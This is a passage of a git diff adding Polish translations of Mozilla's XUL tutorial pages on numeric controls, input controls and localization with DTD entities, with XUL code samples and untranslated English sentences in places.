+<pre>&lt;menulist editable="true"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="www.mozilla.org"/&gt;
+ &lt;menuitem label="www.xulplanet.com"/&gt;
+ &lt;menuitem label="www.dmoz.org"/&gt;
+ &lt;/menupopup&gt;
+&lt;/menulist&gt;
+</pre>
+<p>Utworzone pole adresu URL w powyższym przykładzie posiada trzy predefiniowane pola wyboru, które użytkownik może zaznaczyć lub może wpisać w jedną pozycję własną zawartość pola. Tekst wpisywany przez użytkownika nie zostanie dodany jako nowe pole wyboru listy. Ponieważ atrybut <code>label</code> nie został zastosowany w przykładzie, jego domyślna wartość pozostanie pusta.
+</p><p>W następnym artykule dowiemy się <a href="pl/Kurs_XUL/Paski_post%c4%99pu">jak tworzyć paski postępu</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Kontrolki_numeryczne" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Paski_postępu">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_numeryczne/index.html b/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_numeryczne/index.html
new file mode 100644
index 0000000000..4ddbb95b9c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_numeryczne/index.html
@@ -0,0 +1,92 @@
+---
+title: Kontrolki numeryczne
+slug: Mozilla/Tech/XUL/Kurs_XUL/Kontrolki_numeryczne
+tags:
+ - Firefox 3
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Numeric_Controls
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Kontrolki_wejścia" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Kontrolki_list">Następny »</a></p>
+</div> XUL posiada dwa elementy stosowane do wprowadzenia wartości lub zakresów numerycznych oraz jako dwa elementy dla wprowadzenia dat i czasu. Te elementy są dostępne tylko w Firefoksie 3 lub wersjach późniejszych.<p></p>
+
+<h3 id="Pola_numeryczne" name="Pola_numeryczne">Pola numeryczne</h3>
+
+<p>Pola tekstowe mogą być stosowane do wprowadzenia liczb poprzez ustawienie wartości atrybutu <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> na wartość <code>number</code>. Ten typ pola tekstowego może być stosowany tylko do wprowadzenia liczb. Inne znaki nie są dozwolone i są ignorowane podczas ich wpisywania. Dodatkowo, przyciski strzałek pojawiają się obok pola tekstowego, co pozwala użytkownikowi przechodzić pomiędzy wartościami.</p>
+
+<div class="float-right"><img alt="Image:Controlguide-textbox-number.gif"></div>
+
+<p>Tak jak z innymi polami tekstowymi, domyślna wartość może być określona atrybutem <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>. Naturalnie, wartość ta powinna być liczbą. Jednakże wartość minimalną i maksymalną można także określić przy zastosowaniu atrybutów <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code> i <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code>. Jeśli są one ustawione, można kontrolować zakres wartości, na które może być ustawione pole tekstowe. Jeśli użytkownik wprowadzi wartość mniejszą lub większą niż ta wartość, zostanie ona ponownie nastawiona na minimalną lub maksymalną wartości, o ile to konieczne. Dla przykładu, następujące numeryczne pole tekstowe posiada zakres pomiędzy 1 a 20.</p>
+
+<pre>&lt;textbox type="number" min="1" max="20"/&gt;
+</pre>
+
+<p>Jako że domyślna wartość nie jest określona, to domyślną wartością będzie minimalna wartość czyli 1. Atrybut <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code> jest ustawiony na <code>1</code>, aby wskazać minimalną możliwą wartość, jaką jest 1 i atrybut <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code> jest ustawiony na <code>20</code>, aby wskazać maksymalną możliwą wartość, jaką jest 20. Jeśli minimalna wartość nie jest określona, to domyślną wartością jest 0. Maksymalną domyślną wartością jest specjalna wartość <code>Infinity</code>, która oznacza brak limitu.</p>
+
+<h4 id="Inne_numeryczne_atrybuty_pola_tekstowego" name="Inne_numeryczne_atrybuty_pola_tekstowego">Inne numeryczne atrybuty pola tekstowego</h4>
+
+<p>Atrybut <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code> może zostać użyty do określenia, o jaką wartość ma się zmienić wartość pola, kiedy strzałki obok pola zostaną naciśnięte. Domyślną wartością jest 1, lecz określenie innej wartości pozwala dokonać zmiany o większą liczbę. Dla przykładu następujący przykład wielokrotnie wzrasta o 10.</p>
+
+<pre>&lt;textbox type="number" increment="10" max="100"/&gt;
+</pre>
+
+<p>To pole tekstowe przechodzi poprzez wielokrotności liczby 10 od 0 do 100. Do czasu, kiedy to atrybut <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code> nie został określony, to domyślnie wynosi on 0. <strong>Note that the user can still enter other values if they are typed in.</strong> Atrybut <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code> oddziałuje tylko na przyciski strzałek. Użytkownik może także zwiększyć lub zmniejszyć wartość stosując ten 'przyrost' poprzez użycie klawiszy kursora 'do góry' i 'w dół', podczas gdy pole tekstowe jest zaznaczone i aktywne.</p>
+
+<p>Atrybut <code id="a-decimalplaces"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/decimalplaces">decimalplaces</a></code> wskazuje, ile miejsc po przecinku wyświetlić. Domyślną wartością jest 0, które oznacza, że mają zostać wyświetlone tylko liczby całkowite. Jednakże różne wartości mogą być zastosowane do wyświetlenia wartości dziesiętnych.</p>
+
+<pre>&lt;textbox type="number" decimalplaces="2"/&gt;
+</pre>
+
+<p>W tym przykładzie liczba zostanie pokazana do dwóch cyfr po prawej stronie przecinka. Wartości z dodatkowymi liczbami ułamkowymi są zaokrąglane do dwóch miejsc po przecinku.</p>
+
+<h3 id="Skale" name="Skale">Skale</h3>
+
+<p>Element <code><a href="/pl/docs/Mozilla/Tech/XUL/scale" title="scale">scale</a></code> może być także stosowany do wyboru wartości z zakresu. Zamiast pola tekstowego stosujemy przesuwaną skalę. Użytkownik może przeciągnąć uchwyt na skali, aby dostosować jej wartość.</p>
+
+<div class="float-right"><img alt="Image:Controlguide-scale.gif"></div>
+
+<p>Wiele takich samych atrybutów może być używanych wraz ze skalą jako pole numeryczne: atrybuty <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>, <code id="a-min"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/min">min</a></code>, <code id="a-max"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/max">max</a></code> i <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code> mogą być stosowane w podobnym stylu. Aktualnie skala nie wyświetla wartości liczbowych, lecz może być stosowane w skrypcie. <strong>A scale will fire a <code>change</code> event whenever the scales's value is modified.</strong> <span class="comment">Skala uruchomi zdarzenie &lt;code&gt;change&lt;/code&gt;, zawsze gdy jej wartość zostanie zmodyfikowana</span></p>
+
+<pre>&lt;scale value="40" min="1" max="50"/&gt;
+</pre>
+
+<p>Ta skala domyślnie ustawiona jest na wartość 40 i posiada swój zakres pomiędzy 1 a 50.</p>
+
+<p>Numeryczne pole tekstowe normalnie jest stosowane, kiedy dla użytkownika jest ważna wartość tego pola, na przykład; pole do wprowadzania numerów dni lub gdy podajemy maksymalny rozmiar pliku. Skala będzie używana wówczas, gdy bieżąca wartość nie jest ważna, lecz która przesuwa po skali zmniejszając lub zwiększając swój stan. Dla przykładu, suwak do regulacji dźwięku lub do zmiany poziomów powiększenia.</p>
+
+<p>Domyślne ułożenie skali jest poziome wraz z mniejszymi wartościami z lewej strony i większymi wartościami po prawej stronie. Jednakże istnieje możliwość zmiany orientacji za pomocą atrybutów <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code> i <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>.</p>
+
+<pre>&lt;scale orient="vertical" dir="reverse"/&gt;
+</pre>
+
+<p>Ta skala będzie wyświetlona pionowo z mniejszymi wartościami u dołu i większymi wartościami u góry.</p>
+
+<h3 id="Pola_do_wprowadzania_daty_i_czasu" name="Pola_do_wprowadzania_daty_i_czasu">Pola do wprowadzania daty i czasu</h3>
+
+<p>Elementy <code><a href="/pl/docs/Mozilla/Tech/XUL/datepicker" title="datepicker">datepicker</a></code> i <code><a href="/pl/docs/Mozilla/Tech/XUL/timepicker" title="timepicker">timepicker</a></code> mogą być stosowane do wprowadzania dat i czasu przez użytkownika. Kiedy używamy ich, wyświetlone zostaną ustawione numeryczne pola tekstowe do wprowadzenia każdego ze składników daty i czasu.</p>
+
+<pre>&lt;datepicker value="2004/3/24"/&gt;
+&lt;timepicker value="15:30:00"/&gt;
+</pre>
+
+<div class="float-right"><img alt="Grafika:Controlguide-timepicker.gif"></div>
+
+<p>Atrybut <code>value</code> jest stosowany do ustawienia domyślnej wartości; jeśli atrybut ten zostanie pominięty, pole początkowo będzie ustawione na bieżącą datę i czas. Format atrybutu jest dokładnie jak w przykładzie powyżej, dla daty przybiera formę YYYY/MM/DD i dla czasu formę HH:MM:SS (pomimo że sekundy i towarzyszący im dwukropek mogą być pominięte).</p>
+
+<p>These two elements ensure that the user enters a value date or time. This way, you do not have to check for valid dates, ensure that the day isn't greater than the number of days in the month, handle leap years, and so forth.</p>
+
+<p>While the <code><a href="/pl/docs/Mozilla/Tech/XUL/timepicker" title="timepicker">timepicker</a></code> only comes is one style, the <code><a href="/pl/docs/Mozilla/Tech/XUL/datepicker" title="datepicker">datepicker</a></code> has three different variations. The default style shows three fields for entering the year, month and date. The <code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> attribute may be used to select the other two. Using a value of <code>grid</code> uses a calendar grid, as shown in the image below.</p>
+
+<p><img alt="Grafika:Controlsguide-datepicker-grid.png"></p>
+
+<p>Można również wykorzystać wartość <code>popup</code>, która tworzy kombinację dwóch typów. Ten typ posiada trzy pola do wprowadzenia roku, miesiąca i daty, as well as a dropdown button for displaying a popup calendar grid for selecting a day.</p>
+
+<pre>&lt;datepicker type="popup"/&gt;
+</pre>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Kontrolki_wejścia" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Kontrolki_list">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_wejścia/index.html b/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_wejścia/index.html
new file mode 100644
index 0000000000..374df45d77
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/kontrolki_wejścia/index.html
@@ -0,0 +1,131 @@
+---
+title: Kontrolki wejścia
+slug: Mozilla/Tech/XUL/Kurs_XUL/Kontrolki_wejścia
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Input_Controls
+---
+<p> </p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_etykiet_i_obrazków" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Kontrolki_numeryczne">Następny »</a></p>
+</div><p></p>
+
+<p>XUL posiada elementy, które są podobne do kontrolek <a href="pl/DOM/form">formularza</a> HTML.</p>
+
+<h3 id="Pola_tekstowe" name="Pola_tekstowe">Pola tekstowe</h3>
+
+<p>HTML zawiera element <code>input</code>, który może zostać użyty do wprowadzania tekstu. XUL posiada podobny element, <code><code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code>, używany do pól tekstowych. Bez żadnych argumentów textbox tworzy pole, w którym użytkownik może wprowadzać tekst. Pola tekstowe akceptują wiele parametrów takich samych, jakie w języku HTML posiadają kontrolki wejścia. Niektóre z nich:</p>
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code></dt>
+ <dd>Unikatowy identyfikator, przez który możesz się odwoływać do pola tekstowego.</dd>
+ <dt><code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code> </dt>
+ <dd>Klasa stylu pola tekstowego.</dd>
+ <dt><code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code> </dt>
+ <dd>Jeśli chcesz, aby pole tekstowe posiadało domyślny tekst, podaj go jako wartość tego atrybutu.</dd>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code> </dt>
+ <dd>Ustaw na <code>true</code>, aby wyłączyć możliwość wprowadzania tekstu.</dd>
+ <dt><code id="a-type"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/type">type</a></code> </dt>
+ <dd>Możesz ustawić wartość tego atrybutu na specjalną wartość <code>password</code>, tak aby pole tekstowe nie pokazywało wpisywanego tekstu. Często używa się tej wartości w przypadku pól do podawania hasła.</dd>
+ <dt><code id="a-maxlength"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxlength">maxlength</a></code> </dt>
+ <dd>Maksymalna liczba znaków, jaka może zostać wprowadzona do pola.</dd>
+</dl>
+
+<p>Podczas, gdy w HTML-u z elementu inpu mogą być tworzone różne rodzaje pól (nie tylko tekstowych), w XUL-u dla każdego typu są oddzielne elementy. Następujący przykład ilustruje użycie pól tekstowych:</p>
+
+<h4 id="Element_textbox" name="Element_textbox">Element <code>textbox</code></h4>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_1.xul">Podgląd</a></p>
+
+<pre>&lt;label control="some-text" value="Wpisz jakiś tekst"/&gt;
+&lt;textbox id="some-text"/&gt;
+&lt;label control="some-password" value="Wpisz hasło"/&gt;
+&lt;textbox id="some-password" type="password" maxlength="8"/&gt;
+</pre>
+
+<p>W przykładzie <code><code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code></code> tworzone są pola, do których można wprowadzić tylko jeden wiersz tekstu. HTML posiada również element <code>textarea</code>, który jest używany do tworzenia większych obszarów do wprowadzania tekstu. W XUL-u w tym celu możesz z powodzeniem użyć elementu textbox -- osobny element nie jest potrzebny. Jeśli ustawisz atrybut <code><code id="a-multiline"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/multiline">multiline</a></code></code> na <code>true</code>, wówczas pole tekstowe wyświetlone zostanie z wieloma wierszami. Dla przykładu:</p>
+
+<h5 id="Wieloliniowy_textbox" name="Wieloliniowy_textbox">Wieloliniowy <code>textbox</code></h5>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_2.xul">Podgląd</a></p>
+
+<pre>&lt;textbox multiline="true"
+ value="To jest tekst, który powinien zostać zawinięty do kilku linii."/&gt;
+</pre>
+
+<p>Tak jak w języku HTML dla <code>textarea</code>, możesz użyć atrybutów <code>rows</code> i <code>cols</code> do ustawienia rozmiaru pola. Powinna być ustawiona liczba wierszy i kolumn znaków potrzebnych do wyświetlenia.</p>
+
+<div class="highlight">
+<h4 id="Przyk.C5.82ad:_Znajd.C5.BA_pliki" name="Przyk.C5.82ad:_Znajd.C5.BA_pliki">Przykład: <code>Znajdź pliki</code></h4>
+
+<p>Dodajemy teraz pole szukania do okna dialogowego <code>Znajdź pliki</code>. W tym celu użyjemy elementu <code>textbox</code>.</p>
+
+<pre class="eval"><span class="highlightred">&lt;label value="Szukaj dla:" control="find-text"/&gt;</span>
+<span class="highlightred">&lt;textbox id="find-text"/&gt;</span>
+
+&lt;button id="find-button" label="Znajdź"/&gt;
+</pre>
+
+<div class="float-right"><img alt="grafika:inputs1.png"></div>
+
+<p>Wstaw powyższy kod przed miejscem, w którym utworzyliśmy przyciski w poprzednim rozdziale. Jeśli otworzysz to okno, powinieneś zobaczyć okno podobne do obrazka znajdującego się obok.</p>
+
+<p>Etykieta i pole wejściowe pojawiły się w oknie. Pole tekstowe jest w pełni funkcjonalne i możesz w nim pisać i zaznaczać tekst. Ponadto został użyty atrybut <code><code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code></code>, więc po kliknięciu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code></code> aktywne staje się pole tekstowe.</p>
+</div>
+
+<h3 id="Pola_wyboru_i_przyciski_opcji" name="Pola_wyboru_i_przyciski_opcji">Pola wyboru i przyciski opcji</h3>
+
+<p>Dwa dodatkowe elementy stosowane są do tworzenia pól wyboru i przycisków opcji. Są one po prostu wariantami przycisków. Pola wyboru stosuje się do opcji, które mogą być włączone lub wyłączone. Przyciski opcji mogą być wykorzystane w podobnym celu, gdzie ze zbioru opcji może być zaznaczona tylko jedna pozycja.</p>
+
+<p>Więcej podobnych atrybutów przycisków możemy stosować razem z polami wyboru i przyciskami opcji. Przykład poniżej pokazuje proste pole wyboru oraz przyciski opcji.</p>
+
+<pre>&lt;checkbox id="case-sensitive" checked="true" label="Rozróżniaj wielkość liter"/&gt;
+&lt;radio id="orange" label="Pomarańczowy"/&gt;
+&lt;radio id="violet" selected="true" label="Fioletowy"/&gt;
+&lt;radio id="yellow" label="Żółty"/&gt;
+</pre>
+
+<p>Pierwsza instrukcja tworzy proste pole wyboru (<code><code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code></code>). Kiedy użytkownik kliknie w pole wyboru, to pole będzie przełączone pomiędzy polem zaznaczonym i niezaznaczonym. Atrybut <code><code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code></code> można zastosować do wskazania stanu domyślnego. Powinieneś ustawić wspomniany atrybut na <code>true</code> lub <code>false</code>. Do dołączenia etykiety obok pola wyboru zastosuj atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>. W przypadku przycisków <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code></code> powinieneś stosować atrybut <code><code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code></code> zamiast atrybutu <code><code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code></code>. Ustaw jego wartość na <code>true</code>, tak aby przycisk opcji był domyślnie zaznaczony lub pozostaw go bez zmian dla pozostałych przycisków opcji.</p>
+
+<h4 id="Element_radiogroup" name="Element_radiogroup">Element radiogroup</h4>
+
+<p>Aby połączyć kilka przycisków opcji w grupę, będziesz potrzebował użyć elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/radiogroup" title="radiogroup">radiogroup</a></code></code>. Tylko jedna opcja z grupy może być w danej chwili zaznaczona. Zaznaczenie jednej pozycji będzie wyłączało wszystkie pozostałe opcje w tej samej grupie. Poniższy przykład demonstruje poruszane zagadnienie.</p>
+
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_inputs_3.xul">Podgląd</a></p>
+
+<pre>&lt;radiogroup&gt;
+ &lt;radio id="orange" label="Pomarańczowy"/&gt;
+ &lt;radio id="violet" selected="true" label="Fioletowy"/&gt;
+ &lt;radio id="yellow" label="Żółty"/&gt;
+&lt;/radiogroup&gt;
+</pre>
+
+<h4 id="Atrybuty" name="Atrybuty">Atrybuty</h4>
+
+<p>Podobnie jak przyciski, pola wyboru i przyciski opcji są zrobione z etykiety i obrazka, gdzie obrazek przełącza się pomiędzy zaznaczonym i niezaznaczonym, w momencie jego naciśnięcia. Pola wyboru posiadają wiele atrybutów takich samych jak przyciski:</p>
+
+<dl>
+ <dt><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></dt>
+ <dd>Etykieta pola wyboru lub przycisku opcji.</dd>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code></dt>
+ <dd>Wyłącza lub włącza składnik, przy ustawieniu odpowiednio na <code>true</code> lub <code>false</code>.</dd>
+ <dt><code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code> </dt>
+ <dd>Klawisz skrótu, który może być stosowany do zaznaczenia elementu. Użyta litera w etykiecie jest zwykle wyświetlona z podkreśleniem.</dd>
+</dl>
+
+<div class="highlight">
+<p>Przykład <code>Znajdź pliki</code>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-inputs.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-inputs.xul">Podgląd</a></p>
+</div>
+
+<p>W następnym artykule poznamy elementy do <a href="pl/Kurs_XUL/Kontrolki_numeryczne">tworzenia kontrolek numerycznych</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_etykiet_i_obrazków" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Kontrolki_numeryczne">Następny »</a></p>
+</div><p></p>
+
+<div class="noinclude"> </div>
+
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/lokalizacja/index.html b/files/pl/mozilla/tech/xul/kurs_xul/lokalizacja/index.html
new file mode 100644
index 0000000000..f94a45e141
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/lokalizacja/index.html
@@ -0,0 +1,310 @@
+---
+title: Lokalizacja
+slug: Mozilla/Tech/XUL/Kurs_XUL/Lokalizacja
+tags:
+ - Kurs_XUL
+ - Lokalizacja
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Localization
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_motywów" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Plik_własności">Następny »</a></p>
+</div><p></p>
+
+<p>XUL i XML dostarczają encje, które są wygodnym sposobem stosowanym w plikach lokalizacji.</p>
+
+<h2 id="Encje" name="Encje">Encje</h2>
+
+<p>Wiele aplikacji jest budowana w sposób określony i umożliwiający łatwe przetłumaczenie interfejsu aplikacji na inny język. Zazwyczaj, tabele wraz ze stringami są tworzone dla każdego języka. Zamiast trudnego tekstu kodu, w każdej części tekstu aplikacji, jest referencja do tabeli typu string. <a href="pl/XML">XML</a> dostarcza encje, które możemy zastosować dla wspomnianego celu.</p>
+
+<p>Powinieneś już dobrze znać encje, jeśli piszesz w <a href="pl/HTML">HTML</a>. Kody <code>&amp;lt;</code> i <code>&amp;gt;</code> są przykładami encji, które możemy użyć w miejsce znaku mniejszości (&lt;) lub większości (&gt;), zamiast jego formy w postaci tekstowej. Składnia języka XML, pozwala nam na deklaracje własnych encji. Możemy ich użyć, w taki sposób, że encja jest zamieniana z tą wartością, która jest prostym tekstem. Encje możemy używać zawsze, kiedy są tekstem, który zawiera wartość atrybutów. Przykład poniżej demonstruje użycie encji w przycisku.</p>
+
+<pre>&lt;button label="&amp;findLabel;"/&gt;
+</pre>
+
+<p>Tekst, który pojawi się jako etykieta (<code>label</code>), będzie wyświetlała wartość, jaka jest zawarta w encji <code>&amp;findLabel</code>. Plik jest tworzony z powstrzymanej encji zadeklarowanej dla każdego obsługiwanego języka. W języku angielskim zadeklarowanej encji <code>&amp;findLabel</code> będzie przydzielony tekst <code>Znajdź</code>.</p>
+
+<h2 id="Pliki_DTD" name="Pliki_DTD">Pliki DTD</h2>
+
+<p>Encje są zadeklarowane w plikach DTD (
+ <i>Document Type Declaration</i>
+ ). Zazwyczaj tego typu pliki są używane do deklaracji składni i semantyki poszczególnych plików XML, lecz także umożliwiają deklarację encji. W Mozilli w systemie chrome, możesz zmaleźć pliki DTD są umieszczone w podkatalogu &lt;tt&gt;locales&lt;/tt&gt;. Normalnie będzie tam jeden plik DTD (z rozszerzeniem &lt;tt&gt;.dtd&lt;/tt&gt;) na jeden plik XUL.</p>
+
+<p>Jeśli widzisz katalog chrome, powinieneś się przyjrzeć archiwum w Twoim języku (en-US.jar jest domyślnym językiem dla angielskiego). Mamy pliki lokalizacji w kilku językach (jak w przykładzie) m.in. w angielskim (en-US) i francuskim (fr). Wewnątrz tych archiwów, będą się znajdowały pliki, które trzymają zlokalizowany tekst dla każdego okna. Struktura archiwów jest bardzo podobna do struktury katalogów dla <a href="pl/Kurs_XUL/Tworzenie_motyw%c3%b3w">motywu</a>.</p>
+
+<p>Wewnątrz archiwów, połóż swój plik DTD, w którym zadeklarujesz encje. Zazwyczaj tworzymy jeden plik DTD dla każdego pliku XUL. Posiadają one taką samą nazwę pliku, jedynie rozszerzenie pliku jest inne (<code>.dtd</code>), czyli w naszym przykładowym oknie <code>Znajdź pliki</code>, będzie potrzebny plik o nazwie <code>findfile.dtd</code>.</p>
+
+<p>Dla plików nieinstalowanych w chrome, możemy tylko umieścić plik DTD do tego samego katalogu co plik XUL.</p>
+
+<p>Raz możesz utworzyć plik DTD dla twojego XUL, będziesz potrzebował dodać do plik XUL, który sygnalizuje, co chcesz do użycia pliku DTD. W przeciwnym razie błędy będą się zdarzać jako, że nie można znaleźć encji. Zrób to, dodaj linię pochodzącą z najbliższego miejsca pliku XUL:</p>
+
+<pre>&lt;!DOCTYPE window SYSTEM "chrome://findfile/locale/findfile.dtd"&gt;
+</pre>
+
+<p>Linia określa, co mamy zasygnalizować w użyciu DTD dla pliku. W tym przypadku, deklarujemy co chcemy użyć w pliku DTD <code>findfile.dtd</code>. Linię tą umieszczamy zawsze za elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>.</p>
+
+<h2 id="Deklaracja_encji" name="Deklaracja_encji">Deklaracja encji</h2>
+
+<p>Encję możemy zadeklarować przy użyciu prostej składni, przykład znajduje się poniżej:</p>
+
+<pre>&lt;!ENTITY findLabel "Znajdź"&gt;
+</pre>
+
+<p>Przykład tworzy encję o nazwie <code>findLabel</code> i wartości <code>Znajdź</code>. Oznacza to, że gdziekolwiek zawarty zostanie tekst <code>&amp;findLabel</code> w pliku XUL, to będzie on zastąpiony tekstem <code>Znajdź</code>. W pliku DTD dla innych wersji językowych, możemy określić wpis w naszym języku, co pozwoli na użycie go zamiast tu zdefiniowanego. Uwaga, jest to deklaracja encji, w której nie ma kończącego znaku slash.</p>
+
+<p>Na przykład, następny tekst:</p>
+
+<pre>&lt;description value="&amp;findLabel;"/&gt;
+</pre>
+
+<p>Jest tłumaczony jako:</p>
+
+<pre>&lt;description value="Znajdź"/&gt;
+</pre>
+
+<p>Możesz zadeklarować encje dla każdej etykiety (<code>label</code>) lub łańcucha znakowego, które zostaną zadeklarowane w Twoim interfejsie. Powinieneś nie mieć bezpośrednio wyświetlonego tekstu w pliku XUL dla wszystkich.</p>
+
+<p>Nadając encji użycie tekstu etykiety, powinieneś użyć dla niej wartość, która byłaby inna w innym języku. Przykład <a href="pl/Kurs_XUL/Skr%c3%b3ty_klawiaturowe">kluczy dostępu i skrótów klawiaturowych</a>.</p>
+
+<pre class="eval"> <b>XUL</b>
+ &lt;menuitem label="&amp;undo.label;" accesskey="&amp;undo.key;"/&gt;
+ <b>DTD</b>
+ &lt;!ENTITY undo.label "Undo"&gt;
+ &lt;!ENTITY undo.key "u"&gt;
+</pre>
+
+<p>W przykładzie powyżej użyto dwóch encji, jednej dla etykiety 'Undo' dla pozycji znajdującej się w menu i drugiej dla klucza dostępu.</p>
+
+<div class="highlight">
+<h2 id="Zmieniamy_przyk.C5.82ad_.22Znajd.C5.BA_pliki.22" name="Zmieniamy_przyk.C5.82ad_.22Znajd.C5.BA_pliki.22">Zmieniamy przykład "<code>Znajdź pliki</code>"</h2>
+
+<p>Zastanówmy się w jaki sposób możemy wszystko ułożyć w oknie dialogowym <code>Znajdź pliki</code>, tak aby został zastosowany plik DTD dla wszystkich łańcuchów znakowych. Encje w pliku XUL są pokazane poniżej w kolorze czerwonym.</p>
+
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+
+&lt;?xml-stylesheet href="<a class="external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+&lt;?xml-stylesheet href="findfile.css" type="text/css"?&gt;
+
